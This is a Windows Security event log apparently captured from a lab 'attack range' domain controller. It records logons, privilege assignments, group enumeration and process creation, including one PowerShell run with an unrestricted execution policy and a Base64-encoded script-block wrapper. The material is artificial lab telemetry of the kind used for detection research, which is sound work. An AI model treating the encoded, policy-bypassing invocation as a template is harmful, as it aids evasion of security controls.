	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247049
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf0
	New Process Name:	C:\Windows\System32\dns.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dns.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247210
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247209
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247225
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247224
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247223
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247222
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247221
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247220
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247219
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x834
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k swprv

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247218
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247217
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247216
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=247215
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x500
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247214
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x500
	New Process Name:	C:\Windows\System32\VSSVC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x34c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\vssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247213
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247212
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247261
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117047

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247260
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117047
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247259
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247258
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247257
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe88
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247256
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd90
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247255
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115CD9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247254
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115CD9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247253
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
